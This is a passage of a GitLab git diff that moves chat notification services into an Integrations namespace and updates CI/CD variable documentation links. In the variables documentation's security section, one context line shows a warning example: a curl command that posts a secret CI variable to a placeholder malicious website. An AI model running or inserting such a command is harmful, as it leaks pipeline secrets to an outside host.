true) - end -end diff --git a/app/models/project_services/hangouts_chat_service.rb b/app/models/project_services/hangouts_chat_service.rb deleted file mode 100644 index 6e7708a169f..00000000000 --- a/app/models/project_services/hangouts_chat_service.rb +++ /dev/null @@ -1,71 +0,0 @@ -# frozen_string_literal: true - -require 'hangouts_chat' - -class HangoutsChatService < ChatNotificationService - include ActionView::Helpers::UrlHelper - - def title - 'Google Chat' - end - - def description - 'Send notifications from GitLab to a room in Google Chat.' - end - - def self.to_param - 'hangouts_chat' - end - - def help - docs_link = link_to _('How do I set up a Google Chat webhook?'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/hangouts_chat'), target: '_blank', rel: 'noopener noreferrer' - s_('Before enabling this integration, create a webhook for the room in Google Chat where you want to receive notifications from this project. %{docs_link}').html_safe % { docs_link: docs_link.html_safe } - end - - def event_field(event) - end - - def default_channel_placeholder - end - - def webhook_placeholder - 'https://chat.googleapis.com/v1/spaces…' - end - - def self.supported_events - %w[push issue confidential_issue merge_request note confidential_note tag_push - pipeline wiki_page] - end - - def default_fields - [ - { type: 'text', name: 'webhook', placeholder: "#{webhook_placeholder}" }, - { type: 'checkbox', name: 'notify_only_broken_pipelines' }, - { type: 'select', name: 'branches_to_be_notified', choices: branch_choices } - ] - end - - private - - def notify(message, opts) - simple_text = parse_simple_text_message(message) - HangoutsChat::Sender.new(webhook).simple(simple_text) - end - - def parse_simple_text_message(message) - header = message.pretext - return header if message.attachments.empty? - - attachment = message.attachments.first - title = format_attachment_title(attachment) - body = attachment[:text] - - [header, title, body].compact.join("\n") - end - - def format_attachment_title(attachment) - return attachment[:title] unless attachment[:title_link] - - "<#{attachment[:title_link]}|#{attachment[:title]}>" - end -end diff --git a/app/models/project_services/mattermost_service.rb b/app/models/project_services/mattermost_service.rb deleted file mode 100644 index 732a7c32a03..00000000000 --- a/app/models/project_services/mattermost_service.rb +++ /dev/null @@ -1,31 +0,0 @@ -# frozen_string_literal: true - -class MattermostService < ChatNotificationService - include SlackMattermost::Notifier - include ActionView::Helpers::UrlHelper - - def title - s_('Mattermost notifications') - end - - def description - s_('Send notifications about project events to Mattermost channels.') - end - - def self.to_param - 'mattermost' - end - - def help - docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/mattermost'), target: '_blank', rel: 'noopener noreferrer' - s_('Send notifications about project events to Mattermost channels. %{docs_link}').html_safe % { docs_link: docs_link.html_safe } - end - - def default_channel_placeholder - 'my-channel' - end - - def webhook_placeholder - 'http://mattermost.example.com/hooks/' - end -end diff --git a/app/models/project_services/mattermost_slash_commands_service.rb b/app/models/project_services/mattermost_slash_commands_service.rb index 60235a09dcd..5ee57aa3737 100644 --- a/app/models/project_services/mattermost_slash_commands_service.rb +++ b/app/models/project_services/mattermost_slash_commands_service.rb @@ -22,17 +22,17 @@ class MattermostSlashCommandsService < SlashCommandsService end def configure(user, params) - token = Mattermost::Command.new(user) + token = ::Mattermost::Command.new(user) .create(command(params)) update(active: true, token: token) if token - rescue Mattermost::Error => e + rescue ::Mattermost::Error => e [false, e.message] end def list_teams(current_user) - [Mattermost::Team.new(current_user).all, nil] - rescue Mattermost::Error => e + [::Mattermost::Team.new(current_user).all, nil] + rescue ::Mattermost::Error => e [[], e.message] end diff --git a/app/models/project_services/microsoft_teams_service.rb b/app/models/project_services/microsoft_teams_service.rb deleted file mode 100644 index 1d2067067da..00000000000 --- a/app/models/project_services/microsoft_teams_service.rb +++ /dev/null @@ -1,57 +0,0 @@ -# frozen_string_literal: true - -class MicrosoftTeamsService < ChatNotificationService - def title - 'Microsoft Teams notifications' - end - - def description - 'Send notifications about project events to Microsoft Teams.' - end - - def self.to_param - 'microsoft_teams' - end - - def help - '<p>Use this service to send notifications about events in GitLab projects to your Microsoft Teams channels. <a href="https://docs.gitlab.com/ee/user/project/integrations/microsoft_teams.html">How do I configure this integration?</a></p>' - end - - def webhook_placeholder - 'https://outlook.office.com/webhook/…' - end - - def event_field(event) - end - - def default_channel_placeholder - end - - def self.supported_events - %w[push issue confidential_issue merge_request note confidential_note tag_push - pipeline wiki_page] - end - - def default_fields - [ - { type: 'text', name: 'webhook', placeholder: "#{webhook_placeholder}" }, - { type: 'checkbox', name: 'notify_only_broken_pipelines', help: 'If selected, successful pipelines do not trigger a notification event.' }, - { type: 'select', name: 'branches_to_be_notified', choices: branch_choices } - ] - end - - private - - def notify(message, opts) - MicrosoftTeams::Notifier.new(webhook).ping( - title: message.project_name, - summary: message.summary, - activity: message.activity, - attachments: message.attachments - ) - end - - def custom_data(data) - super(data).merge(markdown: true) - end -end diff --git a/app/models/project_services/slack_mattermost/notifier.rb b/app/models/project_services/slack_mattermost/notifier.rb index 1a78cea5933..ae7ae02b8f0 100644 --- a/app/models/project_services/slack_mattermost/notifier.rb +++ b/app/models/project_services/slack_mattermost/notifier.rb @@ -6,7 +6,7 @@ module SlackMattermost def notify(message, opts) # See https://gitlab.com/gitlab-org/slack-notifier/#custom-http-client - notifier = Slack::Messenger.new(webhook, opts.merge(http_client: HTTPClient)) + notifier = ::Slack::Messenger.new(webhook, opts.merge(http_client: HTTPClient)) notifier.ping( message.pretext, attachments: message.attachments, diff --git a/app/models/project_services/slack_service.rb b/app/models/project_services/slack_service.rb deleted file mode 100644 index 92a46f8d01f..00000000000 --- a/app/models/project_services/slack_service.rb +++ /dev/null @@ -1,57 +0,0 @@ -# frozen_string_literal: true - -class SlackService < ChatNotificationService - include SlackMattermost::Notifier - extend ::Gitlab::Utils::Override - - SUPPORTED_EVENTS_FOR_USAGE_LOG = %w[ - push issue confidential_issue merge_request note confidential_note - tag_push wiki_page deployment - ].freeze - - prop_accessor EVENT_CHANNEL['alert'] - - def title - 'Slack notifications' - end - - def description - 'Send notifications about project events to Slack.' - end - - def self.to_param - 'slack' - end - - def default_channel_placeholder - _('general, development') - end - - def webhook_placeholder - 'https://hooks.slack.com/services/…' - end - - def supported_events - additional = [] - additional << 'alert' - - super + additional - end - - def get_message(object_kind, data) - return Integrations::ChatMessage::AlertMessage.new(data) if object_kind == 'alert' - - super - end - - override :log_usage - def log_usage(event, user_id) - return unless user_id - - return unless SUPPORTED_EVENTS_FOR_USAGE_LOG.include?(event) - - key = "i_ecosystem_slack_service_#{event}_notification" - - Gitlab::UsageDataCounters::HLLRedisCounter.track_event(key, values: user_id) - end -end diff --git a/app/models/project_services/slack_slash_commands_service.rb b/app/models/project_services/slack_slash_commands_service.rb index 548f3623504..652742c1710 100644 --- a/app/models/project_services/slack_slash_commands_service.rb +++ b/app/models/project_services/slack_slash_commands_service.rb @@ -29,6 +29,6 @@ class SlackSlashCommandsService < SlashCommandsService private def format(text) - Slack::Messenger::Util::LinkFormatter.format(text) if text + ::Slack::Messenger::Util::LinkFormatter.format(text) if text end end diff --git a/app/models/project_services/unify_circuit_service.rb b/app/models/project_services/unify_circuit_service.rb deleted file mode 100644 index 5f43388e1c9..00000000000 --- a/app/models/project_services/unify_circuit_service.rb +++ /dev/null @@ -1,60 +0,0 @@ -# frozen_string_literal: true - -class UnifyCircuitService < ChatNotificationService - def title - 'Unify Circuit' - end - - def description - s_('Integrations|Send notifications about project events to Unify Circuit.') - end - - def self.to_param - 'unify_circuit' - end - - def help - 'This service sends notifications about projects events to a Unify Circuit conversation.<br /> - To set up this service: - <ol> - <li><a href="https://www.circuit.com/unifyportalfaqdetail?articleId=164448">Set up an incoming webhook for your conversation</a>. All notifications will come to this conversation.</li> - <li>Paste the <strong>Webhook URL</strong> into the field below.</li> - <li>Select events below to enable notifications.</li> - </ol>' - end - - def event_field(event) - end - - def default_channel_placeholder - end - - def self.supported_events - %w[push issue confidential_issue merge_request note confidential_note tag_push - pipeline wiki_page] - end - - def default_fields - [ - { type: 'text', name: 'webhook', placeholder: "e.g. https://circuit.com/rest/v2/webhooks/incoming/…", required: true }, - { type: 'checkbox', name: 'notify_only_broken_pipelines' }, - { type: 'select', name: 'branches_to_be_notified', choices: branch_choices } - ] - end - - private - - def notify(message, opts) - response = Gitlab::HTTP.post(webhook, body: { - subject: message.project_name, - text: message.summary, - markdown: true - }.to_json) - - response if response.success? - end - - def custom_data(data) - super(data).merge(markdown: true) - end -end diff --git a/app/models/project_services/webex_teams_service.rb b/app/models/project_services/webex_teams_service.rb deleted file mode 100644 index 3d92d3bb85e..00000000000 --- a/app/models/project_services/webex_teams_service.rb +++ /dev/null @@ -1,54 +0,0 @@ -# frozen_string_literal: true - -class WebexTeamsService < ChatNotificationService - include ActionView::Helpers::UrlHelper - - def title - s_("WebexTeamsService|Webex Teams") - end - - def description - s_("WebexTeamsService|Send notifications about project events to Webex Teams.") - end - - def self.to_param - 'webex_teams' - end - - def help - docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/webex_teams'), target: '_blank', rel: 'noopener noreferrer' - s_("WebexTeamsService|Send notifications about project events to a Webex Teams conversation. %{docs_link}") % { docs_link: docs_link.html_safe } - end - - def event_field(event) - end - - def default_channel_placeholder - end - - def self.supported_events - %w[push issue confidential_issue merge_request note confidential_note tag_push - pipeline wiki_page] - end - - def default_fields - [ - { type: 'text', name: 'webhook', placeholder: "https://api.ciscospark.com/v1/webhooks/incoming/...", required: true }, - { type: 'checkbox', name: 'notify_only_broken_pipelines' }, - { type: 'select', name: 'branches_to_be_notified', choices: branch_choices } - ] - end - - private - - def notify(message, opts) - header = { 'Content-Type' => 'application/json' } - response = Gitlab::HTTP.post(webhook, headers: header, body: { markdown: message.summary }.to_json) - - response if response.success? - end - - def custom_data(data) - super(data).merge(markdown: true) - end -end diff --git a/app/services/groups/create_service.rb b/app/services/groups/create_service.rb index 8e8efe7d555..f900927793a 100644 --- a/app/services/groups/create_service.rb +++ b/app/services/groups/create_service.rb @@ -28,7 +28,7 @@ module Groups @group.name ||= @group.path.dup if create_chat_team? - response = Mattermost::CreateTeamService.new(@group, current_user).execute + response = ::Mattermost::CreateTeamService.new(@group, current_user).execute return @group if @group.errors.any? @group.build_chat_team(name: response['name'], team_id: response['id']) diff --git a/app/services/mattermost/create_team_service.rb b/app/services/mattermost/create_team_service.rb index 2cbcaaad5e1..9f6efab1e43 100644 --- a/app/services/mattermost/create_team_service.rb +++ b/app/services/mattermost/create_team_service.rb @@ -9,8 +9,8 @@ module Mattermost def execute # The user that creates the team will be Team Admin - Mattermost::Team.new(current_user).create(@group.mattermost_team_params) - rescue Mattermost::ClientError => e + ::Mattermost::Team.new(current_user).create(@group.mattermost_team_params) + rescue ::Mattermost::ClientError => e @group.errors.add(:mattermost_team, e.message) end end diff --git a/app/views/admin/application_settings/ci/_header.html.haml b/app/views/admin/application_settings/ci/_header.html.haml index 919f501d2ee..40486e9a9e6 100644 --- a/app/views/admin/application_settings/ci/_header.html.haml +++ b/app/views/admin/application_settings/ci/_header.html.haml @@ -8,7 +8,7 @@ %p = _('Variables store information, like passwords and secret keys, that you can use in job scripts. All projects on the instance can use these variables.') - = link_to s_('Learn more.'), help_page_path('ci/variables/README', anchor: 'instance-cicd-variables'), target: '_blank', rel: 'noopener noreferrer' + = link_to s_('Learn more.'), help_page_path('ci/variables/README', anchor: 'add-a-cicd-variable-to-an-instance'), target: '_blank', rel: 'noopener noreferrer' %p = _('Variables can be:') %ul diff --git a/config/initializers/hangouts_chat_http_override.rb b/config/initializers/hangouts_chat_http_override.rb index edb31ed53f1..42ffb6f78e1 100644 --- a/config/initializers/hangouts_chat_http_override.rb +++ b/config/initializers/hangouts_chat_http_override.rb @@ -1,28 +1,3 @@ # frozen_string_literal: true -module HangoutsChat - class Sender - class HTTP - module GitlabHTTPOverride - extend ::Gitlab::Utils::Override - - attr_reader :uri - - # see https://github.com/enzinia/hangouts-chat/blob/6a509f61a56e757f8f417578b393b94423831ff7/lib/hangouts_chat/http.rb - override :post - def post(payload) - httparty_response = Gitlab::HTTP.post( - uri, - body: payload.to_json, - headers: { 'Content-Type' => 'application/json' }, - parse: nil # disables automatic response parsing - ) - httparty_response.response - # The rest of the integration expects a Net::HTTP response - end - end - - prepend GitlabHTTPOverride - end - end -end +HangoutsChat::Sender::HTTP.prepend(Gitlab::Patch::HangoutsChatHTTPOverride) diff --git a/doc/api/lint.md b/doc/api/lint.md index 9593952c1c5..57d11d15adc 100644 --- a/doc/api/lint.md +++ b/doc/api/lint.md @@ -118,7 +118,7 @@ Example response: { "status": "valid", "errors": [], - "merged_config": "---\n:another_test:\n :stage: test\n :script: echo 2\n:test:\n :stage: test\n :script: echo 1\n" + "merged_yaml": "---\n:another_test:\n :stage: test\n :script: echo 2\n:test:\n :stage: test\n :script: echo 1\n" } ``` diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md index 53aeec21199..91ed56e2c9d 100644 --- a/doc/ci/migration/circleci.md +++ b/doc/ci/migration/circleci.md @@ -265,7 +265,7 @@ test_async: ## Contexts and variables -CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#group-cicd-variables) can be stored outside the individual projects, and securely passed into pipelines across multiple projects. +CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#add-a-cicd-variable-to-a-group) can be stored outside the individual projects, and securely passed into pipelines across multiple projects. ## Orbs diff --git a/doc/ci/services/gitlab.md b/doc/ci/services/gitlab.md index a0e15b4e960..8afe8c784f3 100644 --- a/doc/ci/services/gitlab.md +++ b/doc/ci/services/gitlab.md @@ -25,7 +25,7 @@ tests access to the GitLab API. ``` 1. To set values for the `GITLAB_HTTPS` and `GITLAB_ROOT_PASSWORD`, - [assign them to a variable in the user interface](../variables/README.md#project-cicd-variables). + [assign them to a variable in the user interface](../variables/README.md#add-a-cicd-variable-to-a-project). Then assign that variable to the corresponding variable in your `.gitlab-ci.yml` file. diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md index 7e5786b5e17..a4b0f88d294 100644 --- a/doc/ci/variables/README.md +++ b/doc/ci/variables/README.md @@ -16,9 +16,9 @@ CI/CD variables are a type of environment variable. You can use them to: You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom: - [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). -- [Project CI/CD variables](#project-cicd-variables). -- [Group CI/CD variables](#group-cicd-variables). -- [Instance CI/CD variables](#instance-cicd-variables). +- [Project CI/CD variables](#add-a-cicd-variable-to-a-project). +- [Group CI/CD variables](#add-a-cicd-variable-to-a-group). +- [Instance CI/CD variables](#add-a-cicd-variable-to-an-instance). > For more information about advanced use of GitLab CI/CD: > @@ -56,10 +56,10 @@ You can create custom CI/CD variables: - For a project: - [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). - - [In the project's settings](#project-cicd-variables). + - [In the project's settings](#add-a-cicd-variable-to-a-project). - [With the API](../../api/project_level_variables.md). -- For all projects in a group [in the group's setting](#group-cicd-variables). -- For all projects in a GitLab instance [in the instance's settings](#instance-cicd-variables). +- For all projects in a group [in the group's setting](#add-a-cicd-variable-to-a-group). +- For all projects in a GitLab instance [in the instance's settings](#add-a-cicd-variable-to-an-instance). You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines). @@ -123,7 +123,7 @@ Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manua keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually). -### Project CI/CD variables +### Add a CI/CD variable to a project You can add CI/CD variables to a project's settings. Only project members with the [Maintainer role](../../user/permissions.md#project-members-permissions) @@ -138,7 +138,7 @@ To add or update variables in the project settings: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - **Type**: [`File` or `Variable`](#cicd-variable-types). - - **Environment scope**: `All`, or specific [environments](../environments/index.md). + - **Environment scope**: (Optional) `All`, or specific [environments](../environments/index.md). - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags. - **Mask variable** (Optional): If selected, the variable's **Value** is masked @@ -161,10 +161,9 @@ The output is: ![Output custom variable](img/custom_variables_output.png) -### Group CI/CD variables +### Add a CI/CD variable to a group -> - Introduced in GitLab 9.4. -> - Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11 +> Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11 To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. @@ -181,14 +180,16 @@ To add a group variable: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - **Type**: [`File` or `Variable`](#cicd-variable-types). - - **Environment scope** (optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)** + - **Environment scope** (Optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)** - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags. - **Mask variable** (Optional): If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#mask-a-cicd-variable). -To view the group-level variables available in a project: +#### View all group-level variables available in a project + +To view all the group-level variables available in a project: 1. In the project, go to **Settings > CI/CD**. 1. Expand the **Variables** section. @@ -198,7 +199,7 @@ inherited. ![CI/CD settings - inherited variables](img/inherited_group_variables_v12_5.png) -### Instance CI/CD variables +### Add a CI/CD variable to an instance > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11. @@ -337,6 +338,10 @@ build: - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" ``` +Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) +and stored in the database. This data can only be read and decrypted with a +valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost). + ### Custom variables validated by GitLab Some variables are listed in the UI so you can choose them more quickly. @@ -392,9 +397,9 @@ job_name: - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test ``` -### Windows Batch +### Use variables with Windows Batch -To access environment variables in Windows Batch, surround the variable +To access CI/CD variables in Windows Batch, surround the variable with `%`: ```yaml @@ -544,8 +549,8 @@ The order of precedence for variables is (from highest to lowest): [scheduled pipeline variables](../pipelines/schedules.md#using-variables), and [manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually). 1. Project [variables](#custom-cicd-variables). -1. Group [variables](#group-cicd-variables). -1. Instance [variables](#instance-cicd-variables). +1. Group [variables](#add-a-cicd-variable-to-a-group). +1. Instance [variables](#add-a-cicd-variable-to-an-instance). 1. [Inherited variables](#pass-an-environment-variable-to-another-job). 1. Variables defined in jobs in the `.gitlab-ci.yml` file. 1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file. diff --git a/doc/security/README.md b/doc/security/README.md index 83073a4951c..848ced87a3a 100644 --- a/doc/security/README.md +++ b/doc/security/README.md @@ -23,7 +23,7 @@ type: index - [Send email confirmation on sign-up](user_email_confirmation.md) - [Security of running jobs](https://docs.gitlab.com/runner/security/) - [Proxying images](asset_proxy.md) -- [CI/CD variables](cicd_variables.md) +- [CI/CD variables](../ci/variables/README.md#cicd-variable-security) - [Token overview](token_overview.md) - [Project Import decompressed archive size limits](project_import_decompressed_archive_size_limits.md) diff --git a/doc/security/cicd_variables.md b/doc/security/cicd_variables.md index 22185727878..b429b1435be 100644 --- a/doc/security/cicd_variables.md +++ b/doc/security/cicd_variables.md @@ -1,13 +1,9 @@ --- -stage: Verify -group: Pipeline Authoring -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: '../ci/variables/README.md#cicd-variable-security' +remove_date: '2021-07-04' --- -# CI/CD variables **(FREE)** +This document was moved to [another location](../ci/variables/README.md#cicd-variable-security). -CI/CD variables are applied to environments via the runner and can be set from the project's **Settings > CI/CD** page. - -The values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) and stored in the database. - -This data can only be decrypted with a valid [secrets file](../raketasks/backup_restore.md#when-the-secrets-file-is-lost). +<!-- This redirect file can be deleted after <2021-07-04>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/application_security/api_fuzzing/index.md b/doc/user/application_security/api_fuzzing/index.md index 30b908d3495..647618a4057 100644 --- a/doc/user/application_security/api_fuzzing/index.md +++ b/doc/user/application_security/api_fuzzing/index.md @@ -778,7 +778,7 @@ variables: ``` In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a -[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#instance-cicd-variables): +[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#add-a-cicd-variable-to-an-instance): ```yaml stages: diff --git a/doc/user/application_security/dast_api/index.md b/doc/user/application_security/dast_api/index.md index 5e47f545ef9..b10502ebec7 100644 --- a/doc/user/application_security/dast_api/index.md +++ b/doc/user/application_security/dast_api/index.md @@ -847,7 +847,7 @@ variables: ``` In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a -[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#instance-cicd-variables): +[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#add-a-cicd-variable-to-an-instance): ```yaml stages: diff --git a/lib/api/helpers/services_helpers.rb b/lib/api/helpers/services_helpers.rb index 0c139f30a0b..784c12a89fc 100644 --- a/lib/api/helpers/services_helpers.rb +++ b/lib/api/helpers/services_helpers.rb @@ -783,29 +783,29 @@ module API ::Integrations::Confluence, ::Integrations::CustomIssueTracker, ::Integrations::Datadog, + ::Integrations::Discord, ::Integrations::DroneCi, ::Integrations::EmailsOnPush, ::Integrations::Ewm, ::Integrations::ExternalWiki, ::Integrations::Flowdock, + ::Integrations::HangoutsChat, ::Integrations::Irker, ::Integrations::Jenkins, ::Integrations::Jira, + ::Integrations::Mattermost, + ::Integrations::MicrosoftTeams, ::Integrations::Packagist, ::Integrations::PipelinesEmail, ::Integrations::Pivotaltracker, ::Integrations::Redmine, + ::Integrations::Slack, ::Integrations::Teamcity, ::Integrations::Youtrack, - ::DiscordService, - ::HangoutsChatService, ::MattermostSlashCommandsService, ::SlackSlashCommandsService, ::PrometheusService, - ::PushoverService, - ::SlackService, - ::MattermostService, - ::MicrosoftTeamsService + ::PushoverService ] end diff --git a/lib/gitlab/integrations/sti_type.rb b/lib/gitlab/integrations/sti_type.rb index f043a8fa060..c5f38372777 100644 --- a/lib/gitlab/integrations/sti_type.rb +++ b/lib/gitlab/integrations/sti_type.rb @@ -5,8 +5,9 @@ module Gitlab class StiType < ActiveRecord::Type::String NAMESPACED_INTEGRATIONS = Set.new(%w( Asana Assembla Bamboo Bugzilla Buildkite Campfire Confluence CustomIssueTracker Datadog - DroneCi EmailsOnPush Ewm ExternalWiki Flowdock IssueTracker Irker Jenkins Jira MockCi Packagist - PipelinesEmail Pivotaltracker Redmine Teamcity Youtrack + Discord DroneCi EmailsOnPush Ewm ExternalWiki Flowdock HangoutsChat IssueTracker Irker + Jenkins Jira Mattermost MicrosoftTeams MockCi Packagist PipelinesEmail Pivotaltracker + Redmine Slack Teamcity UnifyCircuit Youtrack WebexTeams )).freeze def cast(value) diff --git a/lib/gitlab/patch/hangouts_chat_http_override.rb b/lib/gitlab/patch/hangouts_chat_http_override.rb new file mode 100644 index 00000000000..20dc678e251 --- /dev/null +++ b/lib/gitlab/patch/hangouts_chat_http_override.rb @@ -0,0 +1,21 @@ +# frozen_string_literal: true + +module Gitlab + module Patch + module HangoutsChatHTTPOverride + attr_reader :uri + + # See https://github.com/enzinia/hangouts-chat/blob/6a509f61a56e757f8f417578b393b94423831ff7/lib/hangouts_chat/http.rb + def post(payload) + httparty_response = Gitlab::HTTP.post( + uri, + body: payload.to_json, + headers: { 'Content-Type' => 'application/json' }, + parse: nil # Disables automatic response parsing + ) + httparty_response.response + # The rest of the integration expects a Net::HTTP response + end + end + end +end diff --git a/lib/gitlab/slash_commands/presenters/base.rb b/lib/gitlab/slash_commands/presenters/base.rb index b8affb42372..d28b5fb509a 100644 --- a/lib/gitlab/slash_commands/presenters/base.rb +++ b/lib/gitlab/slash_commands/presenters/base.rb @@ -63,7 +63,7 @@ module Gitlab # Convert Markdown to slacks format def format(string) - Slack::Messenger::Util::LinkFormatter.format(string) + ::Slack::Messenger::Util::LinkFormatter.format(string) end def resource_url diff --git a/lib/mattermost/error.rb b/lib/mattermost.rb index 054bd5457bd..054bd5457bd 100644 --- a/lib/mattermost/error.rb +++ b/lib/mattermost.rb diff --git a/lib/mattermost/client.rb b/lib/mattermost/client.rb index 7fb959a149c..a5c1f788c68 100644 --- a/lib/mattermost/client.rb +++ b/lib/mattermost/client.rb @@ -1,7 +1,7 @@ # frozen_string_literal: true module Mattermost - ClientError = Class.new(Mattermost::Error) + ClientError = Class.new(::Mattermost::Error) class Client attr_reader :user @@ -11,7 +11,7 @@ module Mattermost end def with_session(&blk) - Mattermost::Session.new(user).with_session(&blk) + ::Mattermost::Session.new(user).with_session(&blk) end private @@ -52,12 +52,12 @@ module Mattermost json_response = Gitlab::Json.parse(response.body, legacy_mode: true) unless response.success? - raise Mattermost::ClientError, json_response['message'] || 'Undefined error' + raise ::Mattermost::ClientError, json_response['message'] || 'Undefined error' end json_response rescue JSON::JSONError - raise Mattermost::ClientError, 'Cannot parse response' + raise ::Mattermost::ClientError, 'Cannot parse response' end end end diff --git a/lib/mattermost/session.rb b/lib/mattermost/session.rb index 523d82f9161..9374c5c8f8f 100644 --- a/lib/mattermost/session.rb +++ b/lib/mattermost/session.rb @@ -1,13 +1,13 @@ # frozen_string_literal: true module Mattermost - class NoSessionError < Mattermost::Error + class NoSessionError < ::Mattermost::Error def message 'No session could be set up, is Mattermost configured with Single Sign On?' end end - ConnectionError = Class.new(Mattermost::Error) + ConnectionError = Class.new(::Mattermost::Error) # This class' prime objective is to obtain a session token on a Mattermost # instance with SSO configured where this GitLab instance is the provider. @@ -42,7 +42,7 @@ module Mattermost yield self rescue Errno::ECONNREFUSED => e Gitlab::AppLogger.error(e.message + "\n" + e.backtrace.join("\n")) - raise Mattermost::NoSessionError + raise ::Mattermost::NoSessionError ensure destroy end @@ -100,11 +100,11 @@ module Mattermost end def create - raise Mattermost::NoSessionError unless oauth_uri - raise Mattermost::NoSessionError unless token_uri + raise ::Mattermost::NoSessionError unless oauth_uri + raise ::Mattermost::NoSessionError unless token_uri @token = request_token - raise Mattermost::NoSessionError unless @token + raise ::Mattermost::NoSessionError unless @token @headers = { Authorization: "Bearer #{@token}" @@ -174,9 +174,9 @@ module Mattermost def handle_exceptions yield rescue Gitlab::HTTP::Error => e - raise Mattermost::ConnectionError, e.message + raise ::Mattermost::ConnectionError, e.message rescue Errno::ECONNREFUSED => e - raise Mattermost::ConnectionError, e.message + raise ::Mattermost::ConnectionError, e.message end def parse_cookie(response) diff --git a/lib/microsoft_teams/notifier.rb b/lib/microsoft_teams/notifier.rb index 39005f56dcb..299e3eeb953 100644 --- a/lib/microsoft_teams/notifier.rb +++ b/lib/microsoft_teams/notifier.rb @@ -32,7 +32,7 @@ module MicrosoftTeams result['title'] = title result['summary'] = summary - result['sections'] << MicrosoftTeams::Activity.new(**activity).prepare + result['sections'] << ::MicrosoftTeams::Activity.new(**activity).prepare unless attachments.blank? result['sections'] << { text: attachments } diff --git a/spec/controllers/projects/mattermosts_controller_spec.rb b/spec/controllers/projects/mattermosts_controller_spec.rb index 10bcee28f71..019ae19bf72 100644 --- a/spec/controllers/projects/mattermosts_controller_spec.rb +++ b/spec/controllers/projects/mattermosts_controller_spec.rb @@ -53,7 +53,7 @@ RSpec.describe Projects::MattermostsController do context 'the request is succesull' do before do - allow_next_instance_of(Mattermost::Command) do |instance| + allow_next_instance_of(::Mattermost::Command) do |instance| allow(instance).to receive(:create).and_return('token') end end diff --git a/spec/controllers/projects/services_controller_spec.rb b/spec/controllers/projects/services_controller_spec.rb index 642c76abe79..f8474ab1082 100644 --- a/spec/controllers/projects/services_controller_spec.rb +++ b/spec/controllers/projects/services_controller_spec.rb @@ -47,7 +47,7 @@ RSpec.describe Projects::ServicesController do let(:service) { project.create_microsoft_teams_service(webhook: 'http://webhook.com') } it 'returns success' do - allow_any_instance_of(MicrosoftTeams::Notifier).to receive(:ping).and_return(true) + allow_any_instance_of(::MicrosoftTeams::Notifier).to receive(:ping).and_return(true) put :test, params: project_params @@ -145,7 +145,7 @@ RSpec.describe Projects::ServicesController do end it 'returns an error response when a network exception is raised' do - expect_next(SlackService).to receive(:test).and_raise(Errno::ECONNREFUSED) + expect_next(Integrations::Slack).to receive(:test).and_raise(Errno::ECONNREFUSED) put :test, params: project_params diff --git a/spec/factories/integrations.rb b/spec/factories/integrations.rb index 77f73fa4d76..e8ecc247dc5 100644 --- a/spec/factories/integrations.rb +++ b/spec/factories/integrations.rb @@ -160,7 +160,7 @@ FactoryBot.define do password { 'my-secret-password' } end - factory :slack_service do + factory :slack_service, class: 'Integrations::Slack' do project active { true } webhook { 'https://slack.service.url' } diff --git 